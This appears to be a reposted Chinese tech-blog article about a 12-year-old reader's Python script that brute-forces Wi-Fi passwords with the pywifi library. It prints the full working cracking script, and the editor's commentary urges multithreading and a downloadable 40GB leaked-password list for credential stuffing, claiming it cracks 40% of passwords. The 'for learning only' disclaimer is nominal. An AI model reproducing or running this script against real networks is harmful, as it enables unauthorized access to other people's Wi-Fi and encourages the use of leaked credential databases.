暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

12岁小读者使用Python暴力破解Wi-Fi密码

SQL数据库开发 2020-09-28
1130

点击关注上方“SQL数据库开发”,

设为“置顶或星标”,第一时间送达干货

这一代后浪在父母的光环加持下,猛点技能点。有些从小学开始敲基因,有些一天能写2000首诗,有些发表的论文已经达到硕士毕业水平。但是在编程领域还有另外一群后浪,有些仅仅靠着自己的自学开始做游戏,建网站,在同龄人的互联网领域里叱诧风云

像之前还有小读者问我现在12岁已经学完Python基础,不知道对Python的其它方向该如何选择

这不,就有小读者给我投稿,他写代码生成密码本,并利用pywifi工具包对自家Wi-Fi进行暴力破解,下文分享给大家看看

1.投稿内容

Hello我是狂飙 今天来分享一些我对Python破解WiFi的一些看法,思路如下:

1.首先我们需要生成密码本, 因为大部分wifi密码为八位数字, 所以我们就生成八位数字密码本。

2.然后判断电脑是否连接wifi

3.创建wifi连接文件,选择要连接wifi名称,检查加密单元

4.接下来删除所有连接过的wifi 判断wifi是否连接。

5.最后需要一个八位以上的密码本,一行一行读取就可以了。

完整的代码就发给大家了 不要忘记生成密码本,然后说找不到password.txt的文件啊

# coding:utf-8import pywififrom pywifi import constimport time#测试连接,返回链接结果#抓取网卡接口(改进)#wifi = pywifi.PyWiFi()#获取第一个无线网卡#ifaces = wifi.interfaces()[0]def wifiConnect(pwd):    #抓取网卡接口(原版)    wifi = pywifi.PyWiFi()    #获取第一个无线网卡    ifaces = wifi.interfaces()[0]    #断开所有连接    ifaces.disconnect()    time.sleep(1)    wifistatus = ifaces.status()    if wifistatus == const.IFACE_DISCONNECTED:        #创建WiFi连接文件        profile = pywifi.Profile()        #要连接WiFi的名称        profile.ssid = "wifi名称"        #网卡的开放状态        profile.auth = const.AUTH_ALG_OPEN        #wifi加密算法,一般wifi加密算法为wps        profile.akm.append(const.AKM_TYPE_WPA2PSK)        #加密单元        profile.cipher = const.CIPHER_TYPE_CCMP        #调用密码        profile.key = pwd        #删除所有连接过的wifi文件        ifaces.remove_all_network_profiles()        #设定新的连接文件        tep_profile = ifaces.add_network_profile(profile)        ifaces.connect(tep_profile)        #wifi连接时间        time.sleep(3)        if ifaces.status() == const.IFACE_CONNECTED:            return True        else:            return False    else:        print("已有wifi连接")#读取密码本def readPassword():    print("开始破解:")    #密码本路径    path = r"C:\Users\电脑路径\Desktop\password.txt"    #打开文件    file = open(path, "r")    while True:        try:            #一行一行读取            pad = file.readline()            bool = wifiConnect(pad)            if bool:                print("密码已破解: ", pad)                print("WiFi已自动连接!!!")                break            else:                #跳出当前循环,进行下一次循环                print("密码破解中....密码校对: ", pad)        except:            continuereadPassword()

注:上述方法仅供学习讨论

下图为实际运行结果,我们修改对应wifi的名称,直接运行就可以了!

虽然这样的方法确实有用,只可惜效率实在是太低了,我在运行到第99…9次的时候终于忍不住,把WiFi密码改简单了。再运行一下,成功!

2.说两句

对于12岁的学生来说,能够灵活使用Python工具包实现功能,并且自行配置好环境非常难得。

这里提出了两点可以改进的地方

  • 暴力破解单线程太慢,可以尝试使用任务处理
  • 密码比较单一,可以从网上寻找密码库来尝试撞库,行哥找了40G的密码库,大家可以在文末的链接处进行下载哦,据说可以破解40%的密码

那么后浪来了,还在学Python的你有如何感想?

——End——

后台回复关键字:1024,获取一份精心整理的技术干货
后台回复关键字:进群,带你进入高手如云的交流群。
推荐阅读
这是一个能学到技术的公众号,欢迎关注
点击「阅读原文」了解SQL训练营

文章转载自SQL数据库开发,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论